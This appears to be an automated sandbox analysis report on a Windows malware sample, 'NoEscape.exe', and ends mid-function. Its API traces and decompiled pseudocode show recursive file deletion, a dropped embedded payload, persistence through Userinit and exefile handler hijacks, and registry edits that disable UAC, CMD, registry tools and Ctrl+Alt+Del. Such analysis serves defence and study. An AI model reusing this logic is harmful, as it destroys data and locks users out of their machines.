RtlAllocateHeap.NTDLL(00000008,0000002A), ref: 00401FFA
RtlReAllocateHeap.NTDLL(00000008,00000028), ref: 00402130
GetUserNameW.ADVAPI32(00000000,004083C0), ref: 00402163
lstrlenW.KERNEL32(00405524), ref: 004021C8
RegCreateKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000000,00000000,00000102,00000000,80000002,00000000), ref: 004021F9
RegSetValueExW.KERNELBASE(?,AutoAdminLogon,00000000,00000001,00405524,6EEDDBF0), ref: 0040220E
RegCloseKey.KERNELBASE(00000000), ref: 0040221E
RegCreateKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000000,00000000,00000102,00000000,80000002,00000000), ref: 0040224E
RegSetValueExW.KERNELBASE(?,DisableCAD,00000000,00000004,00000001,00000004), ref: 00402264
RegCloseKey.ADVAPI32(00000000), ref: 0040226E
RegCreateKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00000000,00000000,00000000,00000102,00000000,80000002,00000000), ref: 0040229E
RegSetValueExW.KERNELBASE(?,shutdownwithoutlogon,00000000,00000004,00000001,00000004), ref: 004022B4
RegCloseKey.ADVAPI32(00000000), ref: 004022BE
RegCreateKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00000000,00000000,00000102,00000000,80000002,00000000), ref: 004022EE
RegSetValueExW.KERNELBASE(?,UseDefaultTile,00000000,00000004,00000001,00000004), ref: 00402304
RegCloseKey.ADVAPI32(00000000), ref: 0040230E
RegCreateKeyExW.KERNELBASE(80000002,SOFTWARE\Policies\Microsoft\Windows\System,00000000,00000000,00000000,00000102,00000000,80000002,00000000), ref: 0040233E
RegSetValueExW.KERNELBASE(?,DisableLogonBackgroundImage,00000000,00000004,00000001,00000004), ref: 00402354
RegCloseKey.ADVAPI32(00000000), ref: 0040235E
lstrlenW.KERNEL32(C:\ProgramData), ref: 00402365
RtlReAllocateHeap.NTDLL(00000008,00000000), ref: 0040237D
lstrcpyW.KERNEL32(00000000,C:\ProgramData), ref: 0040239C
lstrcatW.KERNEL32(\Microsoft\User Account Pictures\), ref: 004023AF
lstrcatW.KERNEL32(006D5DD0,004057DC), ref: 0040240D
lstrlenW.KERNEL32(004057DC), ref: 0040242A
lstrlenW.KERNEL32 ref: 00402434
HeapFree.KERNEL32(00000000,006D5DD0), ref: 00402462
RegCreateKeyExW.KERNELBASE ref: 0040298A
RegSetValueExW.KERNELBASE(?,Scancode Map,00000000,00000003,?,000001D0), ref: 004029AA
lstrlenW.KERNEL32(00405868), ref: 004029C0
RegCreateKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000000,00000000,00000102,00000000,80000001,00000000), ref: 004029EB
RegSetValueExW.KERNELBASE(?,SwapMouseButtons,00000000,00000001,00405868,73BB82B0), ref: 00402A04
RegCloseKey.ADVAPI32(00000000), ref: 00402A14
RegCreateKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00000000,00000000,00000000,00000102,00000000,80000001,00000000), ref: 00402A44
RegSetValueExW.KERNELBASE(?,EnableLUA,00000000,00000004,00000000,00000004), ref: 00402A5E
RegCloseKey.ADVAPI32(00000000), ref: 00402A68
RegCreateKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00000000,00000000,00000000,00000102,00000000,80000001,00000000), ref: 00402A98
RegSetValueExW.KERNELBASE(?,DisableRegistryTools,00000000,00000004,00000001,00000004), ref: 00402AB2
RegCloseKey.ADVAPI32(00000000), ref: 00402ABC
RegCreateKeyExW.KERNELBASE(80000001,SOFTWARE\Policies\Microsoft\Windows\System,00000000,00000000,00000000,00000102,00000000,80000001,00000000), ref: 00402AEC
RegSetValueExW.KERNELBASE(?,DisableCMD,00000000,00000004,00000002,00000004), ref: 00402B06
RegCloseKey.ADVAPI32(00000000), ref: 00402B10
lstrlenW.KERNEL32(C:\Users\user\AppData\Local), ref: 00402B17
RtlAllocateHeap.NTDLL(00000008,00000000), ref: 00402B29

Part of subcall function 004015C0: FindResourceW.KERNEL32(00000000,FFC51803,0000000A), ref: 004015F2
Part of subcall function 004015C0: LoadResource.KERNEL32(00000000,00000000), ref: 004015FD
Part of subcall function 004015C0: CreateFileW.KERNELBASE(006D5DD0,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00401618
Part of subcall function 004015C0: SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00401632
Part of subcall function 004015C0: LockResource.KERNEL32(00000000,00000000), ref: 0040163A
Part of subcall function 004015C0: WriteFile.KERNELBASE(00000000,00000000), ref: 00401642
Part of subcall function 004015C0: CloseHandle.KERNEL32(00000000), ref: 00401649
Part of subcall function 004015C0: FreeResource.KERNEL32(00000000), ref: 00401650

SystemParametersInfoW.USER32(00000014,00000000,00000001,000003F3), ref: 00402B5F
RegCreateKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000000,00000000,00000102,00000000,?), ref: 00402B93
RegSetValueExW.KERNELBASE(?,AutoRestartShell,00000000,00000004,00000000,00000004), ref: 00402BAD
RegCloseKey.ADVAPI32(?), ref: 00402BB7
RegCreateKeyExW.KERNELBASE(80000001,Control Panel\Desktop,00000000,00000000,00000000,00000102,00000000,?,00000000), ref: 00402BE7
RegSetValueExW.KERNELBASE(?,AutoColorization,00000000,00000004,00000001,00000004), ref: 00402C01
RegCloseKey.ADVAPI32(?), ref: 00402C0B

Part of subcall function 00401830: RtlAllocateHeap.NTDLL(00000008,0000020A), ref: 0040185F
Part of subcall function 00401830: lstrlenW.KERNEL32 ref: 00401868

Part of subcall function 00401830: lstrcpyW.KERNEL32(00000000), ref: 0040188B
Part of subcall function 00401830: lstrlenW.KERNEL32 ref: 00401892
Part of subcall function 00401830: lstrcpyW.KERNEL32(?,*.*), ref: 004018B1
Part of subcall function 00401830: FindFirstFileW.KERNELBASE(00000000,?,?,*.*), ref: 004018BF
Part of subcall function 00401830: lstrcmpW.KERNEL32(?,00405378,?,*.*), ref: 004018DC
Part of subcall function 00401830: lstrcmpW.KERNEL32(?,0040537C,?,*.*), ref: 004018F2
Part of subcall function 00401830: lstrcpyW.KERNEL32(?,?), ref: 00401909
Part of subcall function 00401830: RemoveDirectoryW.KERNELBASE(00000000,?,?,?,*.*), ref: 00401925
Part of subcall function 00401830: lstrcmpiW.KERNEL32(00000000,C:\Users\user\Desktop\NoEscape.exe,?,?,?,*.*), ref: 00401931
Part of subcall function 00401830: SetFileAttributesW.KERNELBASE(00000000,00000080,?,?,?,*.*), ref: 0040194D
Part of subcall function 00401830: DeleteFileW.KERNELBASE(00000000,?,?,?,*.*), ref: 00401954
Part of subcall function 00401830: FindNextFileW.KERNELBASE(00000000,?,?,*.*), ref: 00401962
Part of subcall function 00401830: FindClose.KERNELBASE(00000000,?,*.*), ref: 00401977
Part of subcall function 00401830: HeapFree.KERNEL32(00000000,00000000,?,*.*), ref: 00401986

lstrlenW.KERNEL32(C:\Users\Public\Desktop), ref: 00402C26
RtlReAllocateHeap.NTDLL(00000008,00000000), ref: 00402C42
lstrcpyW.KERNEL32(00000000,C:\Users\Public\Desktop), ref: 00402C6C
lstrlenW.KERNEL32(C:\Users\Public\Desktop), ref: 00402C73
GetSystemMetrics.USER32(00000001), ref: 00402C95
GetSystemMetrics.USER32(00000000), ref: 00402C9B
CreateFileW.KERNELBASE(40000000,00000000,00000000,00000002,00000080,00000000), ref: 00402D30
WriteFile.KERNELBASE(00000000,YOUR COMPUTER IS MINE. YOU CANNOT GET RID OF THIS MALWARE.N,0000029A,00000000,00000000), ref: 00402D50
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00402D68
HeapFree.KERNEL32(00000000), ref: 00402D9B
CopyFileW.KERNELBASE(C:\Users\user\Desktop\NoEscape.exe,C:\Windows\winnt32.exe,00000000), ref: 00402DAD
SetFileAttributesW.KERNELBASE(C:\Windows\winnt32.exe,00000006), ref: 00402DBA
lstrlenW.KERNEL32(C:\Windows\winnt32.exe), ref: 00402DC5
RtlAllocateHeap.NTDLL(00000008,00000000), ref: 00402DDD
RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000101,?), ref: 00402E19
RegQueryValueExW.KERNELBASE(80000002,Userinit,00000000,?,00000000,?), ref: 00402E44
RtlAllocateHeap.NTDLL(00000008,?), ref: 00402E56
RegQueryValueExW.KERNELBASE(80000002,Userinit,00000000,?,00000000,?), ref: 00402E70
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,00000000), ref: 00402E97
lstrlenW.KERNEL32(?,?,?,?,?,00000000), ref: 00402EA3
lstrlenW.KERNEL32(006D5DD0), ref: 00402EB4
lstrcatW.KERNEL32(006D5DD0,C:\Windows\winnt32.exe), ref: 00402ECB
lstrlenW.KERNEL32 ref: 00402ED7
RegCreateKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000000,00000000,00000102,00000000,?,00000000), ref: 00402F0C
RegSetValueExW.KERNELBASE(80000002,Userinit,00000000,00000001,006D5DD0,770F4620), ref: 00402F21
RegCloseKey.ADVAPI32(80000002), ref: 00402F2B
HeapFree.KERNEL32(00000000,006D5DD0), ref: 00402F40
MoveFileExW.KERNELBASE(C:\Users\user\Desktop\NoEscape.exe,00000000,00000004), ref: 00402F4F
InitiateShutdownW.ADVAPI32(00000000,00000000,00000000,00000007,80000001), ref: 00402F62
RtlDeleteCriticalSection.NTDLL(004083A0), ref: 00402F71
HeapFree.KERNEL32(00000000), ref: 00402F85
CloseHandle.KERNEL32 ref: 00402F91
HeapFree.KERNEL32(00000000,?), ref: 00402FA0
GetSystemTime.KERNEL32(?), ref: 00402FC2
lstrlenW.KERNEL32(C:\Windows\winnt32.exe), ref: 00402FCD
RtlAllocateHeap.NTDLL(00000008,00000000), ref: 00402FDF
lstrlenW.KERNEL32 ref: 00403005
RegCreateKeyExW.ADVAPI32(80000002,SOFTWARE\Classes\exefile\shell\open\command,00000000,00000000,00000000,00000102,00000000,?,00000000), ref: 0040303E
RegSetValueExW.ADVAPI32(?,00000000,00000000,00000001,?,00000000), ref: 00403053
RegCloseKey.ADVAPI32(80000002), ref: 0040305D
lstrlenW.KERNEL32(006D5DD0), ref: 00403069
RegCreateKeyExW.ADVAPI32(80000002,SOFTWARE\Classes\exefile\shell\runas\command,00000000,00000000,00000000,00000102,00000000,?,00000000), ref: 004030A2
RegSetValueExW.ADVAPI32(?,00000000,00000000,00000001,?,00000000), ref: 004030B7
RegCloseKey.ADVAPI32(?), ref: 004030C1
HeapFree.KERNEL32(00000000,006D5DD0), ref: 004030D5
CreateMutexW.KERNEL32(00000011,00000001,processLimit), ref: 004030F4
GetLastError.KERNEL32 ref: 004030F6
NtSetInformationProcess.NTDLL(0000001D,?), ref: 0040311E

Part of subcall function 00403DD0: RtlEnterCriticalSection.NTDLL(004083A0), ref: 00403E07
Part of subcall function 00403DD0: RtlLeaveCriticalSection.NTDLL(004083A0), ref: 00403E38
Part of subcall function 00403DD0: RtlEnterCriticalSection.NTDLL(004083A0), ref: 00403E64
Part of subcall function 00403DD0: RtlLeaveCriticalSection.NTDLL(004083A0), ref: 00403E95

LoadCursorW.USER32(00400000,00007F00), ref: 0040316A
LoadIconW.USER32(00000065), ref: 00403182
LoadIconW.USER32(00000065), ref: 00403190
RegisterClassExW.USER32(?), ref: 0040319B
CreateWindowExW.USER32(00000008,WINNT32,WINNT32.EXE,00CB0000,00000000,00000000,00000190,000002D0,00000000,00000000,00000000), ref: 004031CC
ShowWindow.USER32(00000000,00000005), ref: 004031F9
UpdateWindow.USER32(00000000), ref: 00403200
CreateMutexW.KERNEL32(00000000,00000001,processLimitPayload), ref: 00403222
CreateMutexW.KERNEL32(00000000,00000001,processLimitPayload), ref: 00403248
CreateThread.KERNEL32(00000000,00000000,004019B0,00000000,00000000,00000000), ref: 00403259
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00403270
TranslateMessage.USER32(?), ref: 0040328B
DispatchMessageW.USER32(?), ref: 00403292
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040329F
lstrlenW.KERNEL32(00000011), ref: 004032B5
lstrcmpiW.KERNEL32(00000000), ref: 004032E8
OpenMutexW.KERNEL32(00100000,00000000,processLimitPayload), ref: 00403332
MessageBoxW.USER32(00000000,fred durst says: no computer today silly boy go outsie to play,(1) New Message from Fred Durst,00000030), ref: 0040334D
lstrlenW.KERNEL32(00000011), ref: 00403373
lstrlenW.KERNEL32(-00000002), ref: 0040339A
CreateMutexW.KERNEL32(00000000,00000001,processLimitPayload), ref: 004033AE
GetLastError.KERNEL32 ref: 004033B4
GetCommandLineW.KERNEL32 ref: 004033CF
lstrlenW.KERNEL32(?), ref: 004033DD
lstrlenW.KERNEL32(00000011), ref: 004033E8
ShellExecuteW.SHELL32(00000000,runas,?,00000000,00000000,00000001), ref: 00403413

Strings

MZ@, xrefs: 004024CB
EnableLUA, xrefs: 00402A55
%s\winnt32.exe, xrefs: 00401ED3
winnt32.exe, xrefs: 004032F6
user.png, xrefs: 004023CC
fred durst says: no computer today silly boy go outsie to play, xrefs: 00403347
scancode_map, xrefs: 004020AE
AutoAdminLogon, xrefs: 00402205
user-32.png, xrefs: 004023D4
Control Panel\Mouse, xrefs: 004029E1
(1) New Message from Fred Durst, xrefs: 00403342
.exe, xrefs: 004032D8
C:\Users\user\Desktop, xrefs: 00402C0D
YOUR COMPUTER IS MINE. YOU CANNOT GET RID OF THIS MALWARE.N, xrefs: 00402D4A
Users, xrefs: 004020EF
%s "%%1" %%*, xrefs: 00402FEA
WINNT32, xrefs: 00401D52, 00401FC6, 00403156, 004031C5
processLimit, xrefs: 00401FA4, 004030EC
AutoRestartShell, xrefs: 00402BA4
ShowWindow, xrefs: 004031E5
Scancode Map, xrefs: 004029A1
shutdownwithoutlogon, xrefs: 004022AB
C:\Users\user\Desktop\NoEscape.exe, xrefs: 00402DA8, 00402F4A
RNG, xrefs: 00401C26
AutoColorization, xrefs: 00402BF8
user-48.png, xrefs: 004023EA
TT@, xrefs: 004031D9, 004031E2
NO ESCAPE, xrefs: 00402184
processLimitPayload, xrefs: 00403219, 0040323F, 00403326, 004033A5
user-40.png, xrefs: 004023DF
SOFTWARE\Classes\exefile\shell\open\command, xrefs: 00403034
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 004021EF, 0040223C, 00402B81, 00402DF4, 00402F02
WINNT32.EXE, xrefs: 004031C0
\Microsoft\User Account Pictures\, xrefs: 004023A4
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 004022DC
DisableRegistryTools, xrefs: 00402AA9
user-192.png, xrefs: 004023F5
SwapMouseButtons, xrefs: 004029FB
SOFTWARE\Policies\Microsoft\Windows\System, xrefs: 0040232C, 00402ADA
C:\Windows\winnt32.exe, xrefs: 00401F90, 00402DA3, 00402DB5, 00402DC0, 00402EC5, 00402FC8, 00402FE5
SOFTWARE\Classes\exefile\shell\runas\command, xrefs: 00403098
You are running NT %d.%d!This malware requires NT 10.0 to run properly., xrefs: 00401D41
This malware is no joke, continue?, xrefs: 00401FCB
0, xrefs: 0040314E
C:\ProgramData, xrefs: 00402360, 00402387
q, xrefs: 0040247E
DisableCMD, xrefs: 00402AFD
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, xrefs: 00402294, 00402A32, 00402A86
DisableCAD, xrefs: 0040225B
SYSTEM\CurrentControlSet\Control\Keyboard Layout, xrefs: 004027D6
C:\Users\user\AppData\Local, xrefs: 00402B12, 00402B2F
%s\noescape.png, xrefs: 00402B34
runas, xrefs: 0040340C
Userinit, xrefs: 00402E3B, 00402E67, 00402F18
UseDefaultTile, xrefs: 004022FB
Administrators, xrefs: 004020DD
DisableLogonBackgroundImage, xrefs: 0040234B
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NoEscape, xrefs: 004031D4
user.bmp, xrefs: 004023C4
Control Panel\Desktop, xrefs: 00402BD5
C:\Users\Public\Desktop, xrefs: 00402C17, 00402C21, 00402C60, 00402C6E

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: Create$lstrlen$Heap$Close$Value$Allocate$File$Free$Messagelstrcpy$CriticalMutexSection$HandleResource$FindLoadProcessSystem$AttributesErrorLastOpenTokenWindowlstrcat$CurrentDeleteDirectoryEnterIconInitializeLeaveMetricsModuleNameQueryWritelstrcmplstrcmpiwsprintf$AdjustCheckClassCommandCopyCursorDispatchExecuteFirstFolderInfoInformationInitiateKnownLineLockMembershipMoveNextParametersPathPrivilegesRegisterRemoveShellShowShutdownSizeofThreadTimeTranslateUpdateUserVersion
String ID: %s "%%1" %%*$%s\noescape.png$%s\winnt32.exe$(1) New Message from Fred Durst$.exe$0$Administrators$AutoAdminLogon$AutoColorization$AutoRestartShell$C:\ProgramData$C:\Users\Public\Desktop$C:\Users\user\AppData\Local$C:\Users\user\Desktop$C:\Users\user\Desktop\NoEscape.exe$C:\Windows\winnt32.exe$Control Panel\Desktop$Control Panel\Mouse$DisableCAD$DisableCMD$DisableLogonBackgroundImage$DisableRegistryTools$EnableLUA$MZ@$NO ESCAPE$RNG$SOFTWARE\Classes\exefile\shell\open\command$SOFTWARE\Classes\exefile\shell\runas\command$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NoEscape$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System$SOFTWARE\Policies\Microsoft\Windows\System$SYSTEM\CurrentControlSet\Control\Keyboard Layout$Scancode Map$ShowWindow$SwapMouseButtons$TT@$This malware is no joke, continue?$UseDefaultTile$Userinit$Users$WINNT32$WINNT32.EXE$YOUR COMPUTER IS MINE. YOU CANNOT GET RID OF THIS MALWARE.N$You are running NT %d.%d!This malware requires NT 10.0 to run properly.$\Microsoft\User Account Pictures\$fred durst says: no computer today silly boy go outsie to play$processLimit$processLimitPayload$q$runas$scancode_map$shutdownwithoutlogon$user-192.png$user-32.png$user-40.png$user-48.png$user.bmp$user.png$winnt32.exe
API String ID: 2225536525-1056063777
Opcode ID: 3ab285ac350a57e86b96ed4a2b8c2bc4171ae71c40c2db80ad4ad044ae2490db
Instruction ID: 6c2d8ecf50dc6b8454dda20d04ca0901496c5a4d13aaa1bc69f11c103fa3303d
Opcode Fuzzy Hash: 3ab285ac350a57e86b96ed4a2b8c2bc4171ae71c40c2db80ad4ad044ae2490db
Instruction Fuzzy Hash: 05D27E70644740ABE7209F50DE5AF9B7BE4FB84B04F10442DFA84BA2E0CBB59544CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401830, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 113
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401830(void* __ebx, WCHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				struct _WIN32_FIND_DATAW _v604;
				int _v608;
				signed int _t23;
				void* _t31;
				int _t39;
				WCHAR* _t56;
				void* _t57;
				WCHAR* _t66;
				void* _t68;
				signed int _t69;

				_t23 =  *0x408014; // 0xffc51803
				_v8 = _t23 ^ _t69;
				_t56 = __ecx;
				_v608 = 1;
				_t68 = RtlAllocateHeap( *0x4083e0, 8, 0x20a);
				_t66 = _t68 + lstrlenW(_t56) * 2;
				if(_t56 != 0) {
					lstrcpyW(_t68, _t56);
					if( *((short*)(_t68 + lstrlenW(_t56) * 2 - 2)) != 0x5c) {
						 *_t66 = 0x5c;
						_t66 =  &(_t66[1]);
					}
					lstrcpyW(_t66, L"*.*");
					_t31 = FindFirstFileW(_t68,  &_v604); // executed
					_t57 = _t31;
					if(_t57 != 0xffffffff) {
						do {
							if(lstrcmpW( &(_v604.cFileName), ".") != 0 && lstrcmpW( &(_v604.cFileName), L"..") != 0) {
								 *_t66 = 0;
								lstrcpyW(_t66,  &(_v604.cFileName));
								if((_v604.dwFileAttributes & 0x00000010) != 0) {
									E00401830(_t57, _t68, _t66, _t68); // executed
									RemoveDirectoryW(_t68); // executed
								}
								if(lstrcmpiW(_t68, L"C:\\Users\\jones\\Desktop\\NoEscape.exe") != 0 && ( !(_v604.dwFileAttributes) & 0x00000010) != 0) {
									SetFileAttributesW(_t68, 0x80); // executed
									DeleteFileW(_t68); // executed
								}
							}
							_t39 = FindNextFileW(_t57,  &_v604); // executed
						} while (_t39 != 0);
						_v608 = _t39;
					}
					FindClose(_t57); // executed
					HeapFree( *0x4083e0, 0, _t68);
					return E0040410C(_v8 ^ _t69);
				} else {
					return E0040410C(_v8 ^ _t69);
				}
			}

0x00401839
0x00401840
0x00401853
0x00401855
0x00401866
0x0040186e
0x00401873
0x0040188b
0x0040189e
0x004018a5
0x004018a8
0x004018a8
0x004018b1
0x004018bf
0x004018c5
0x004018ca
0x004018d0
0x004018e4
0x004018fe
0x00401909
0x00401916
0x0040191f
0x00401925
0x00401925
0x00401939
0x0040194d
0x00401954
0x00401954
0x00401939
0x00401962
0x00401968
0x00401970
0x00401970
0x00401977
0x00401986
0x004019a2
0x00401875
0x00401888
0x00401888

APIs

RtlAllocateHeap.NTDLL(00000008,0000020A), ref: 0040185F
lstrlenW.KERNEL32 ref: 00401868
lstrcpyW.KERNEL32(00000000), ref: 0040188B
lstrlenW.KERNEL32 ref: 00401892
lstrcpyW.KERNEL32(?,*.*), ref: 004018B1
FindFirstFileW.KERNELBASE(00000000,?,?,*.*), ref: 004018BF
lstrcmpW.KERNEL32(?,00405378,?,*.*), ref: 004018DC
lstrcmpW.KERNEL32(?,0040537C,?,*.*), ref: 004018F2
lstrcpyW.KERNEL32(?,?), ref: 00401909
RemoveDirectoryW.KERNELBASE(00000000,?,?,?,*.*), ref: 00401925
lstrcmpiW.KERNEL32(00000000,C:\Users\user\Desktop\NoEscape.exe,?,?,?,*.*), ref: 00401931
SetFileAttributesW.KERNELBASE(00000000,00000080,?,?,?,*.*), ref: 0040194D
DeleteFileW.KERNELBASE(00000000,?,?,?,*.*), ref: 00401954
FindNextFileW.KERNELBASE(00000000,?,?,*.*), ref: 00401962
FindClose.KERNELBASE(00000000,?,*.*), ref: 00401977
HeapFree.KERNEL32(00000000,00000000,?,*.*), ref: 00401986

Strings

*.*, xrefs: 004018AB
C:\Users\user\Desktop\NoEscape.exe, xrefs: 0040192B

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: File$Findlstrcpy$Heaplstrcmplstrlen$AllocateAttributesCloseDeleteDirectoryFirstFreeNextRemovelstrcmpi
String ID: *.*$C:\Users\user\Desktop\NoEscape.exe
API String ID: 2454535373-2810129541
Opcode ID: d32d4948c872088ce73eb83e0c7602668f7ed72e4625875f68a6f6f30a37016f
Instruction ID: cd93ae61bf3de39219d1ed2fdea97fef0e09734d612d37a93ca6bb43cacbc57a
Opcode Fuzzy Hash: d32d4948c872088ce73eb83e0c7602668f7ed72e4625875f68a6f6f30a37016f
Instruction Fuzzy Hash: 5831A231A00A18ABD7206B65AD4CFAF7778EF48312F504176F94AF61E0DB7849458F9C

Uniqueness

Uniqueness Score: -1.00%

Function 004015C0, Relevance: 12.1, APIs: 8, Instructions: 81
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E004015C0(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _v8;
				long _v12;
				signed int _t6;
				WCHAR* _t8;
				void* _t13;
				long _t17;
				struct HRSRC__* _t25;
				void* _t36;
				WCHAR* _t40;
				void* _t41;
				signed int _t42;

				_t6 =  *0x408014; // 0xffc51803
				_v8 = _t6 ^ _t42;
				_t40 =  *0x4083c8; // 0x6d5dd0
				_t8 = __edx & 0x0000ffff;
				if(_t40 == 0 || _t8 < 0x66) {
					return E0040410C(_v8 ^ _t42);
				} else {
					_t25 = FindResourceW(0, _t8, 0xa);
					_t36 = LoadResource(0, _t25); // executed
					_t13 = CreateFileW(_t40, 0x40000000, 0, 0, 2, 0x80, 0); // executed
					_t41 = _t13;
					if(_t41 == 0xffffffff || _t41 == 0) {
						return E0040410C(_v8 ^ _t42);
					} else {
						_t17 = SizeofResource(0, _t25);
						WriteFile(_t41, LockResource(_t36), _t17,  &_v12, 0); // executed
						CloseHandle(_t41);
						FreeResource(_t36);
						return E0040410C(_v8 ^ _t42);
					}
				}
			}

0x004015c6
0x004015cd
0x004015d1
0x004015d7
0x004015dc
0x00401690
0x004015eb
0x004015f8
0x00401616
0x00401618
0x0040161e
0x00401623
0x0040167e
0x00401629
0x00401632
0x00401642
0x00401649
0x00401650
0x00401668
0x00401668
0x00401623

APIs

FindResourceW.KERNEL32(00000000,FFC51803,0000000A), ref: 004015F2
LoadResource.KERNEL32(00000000,00000000), ref: 004015FD
CreateFileW.KERNELBASE(006D5DD0,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00401618
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00401632
LockResource.KERNEL32(00000000,00000000), ref: 0040163A
WriteFile.KERNELBASE(00000000,00000000), ref: 00401642
CloseHandle.KERNEL32(00000000), ref: 00401649
FreeResource.KERNEL32(00000000), ref: 00401650

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: Resource$File$CloseCreateFindFreeHandleLoadLockSizeofWrite
String ID:
API String ID: 430727281-0
Opcode ID: 77f10d0323924eba6cdc830edaf566fe3a60a0b01ed8a036bc33480898504659
Instruction ID: da648d33d227b2ff2bb3ddf10e10675e8ae72d75aaea63dee69c48254426d213
Opcode Fuzzy Hash: 77f10d0323924eba6cdc830edaf566fe3a60a0b01ed8a036bc33480898504659
Instruction Fuzzy Hash: 8821B731A115186BE610ABB4AD4AF7F77ACDB89721F000276FE05FA1D0DAB51D004BED

Uniqueness

Uniqueness Score: -1.00%

Function 004045E9, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004045E9() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E004045F5); // executed
				return _t1;
			}

0x004045ee
0x004045f4

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_000045F5,00403F70), ref: 004045EE

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f51880ab3f34e9bb521173182872c4727b2ad0ed1b90c66c94a1ec539bb1d333
Instruction ID: e4f86ffd68145f1d0808feb79e862ce1eee554014f923561a756c6638adc10f0
Opcode Fuzzy Hash: f51880ab3f34e9bb521173182872c4727b2ad0ed1b90c66c94a1ec539bb1d333
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00401BA2, Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 150
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E00401BA2(void* __eax, void* __ebx, void* __edi, void* __esi, intOrPtr _a4, short** _a8) {
				signed int _v8;
				signed int _v36;
				struct HWND__* _v180;
				intOrPtr _v184;
				intOrPtr _v188;
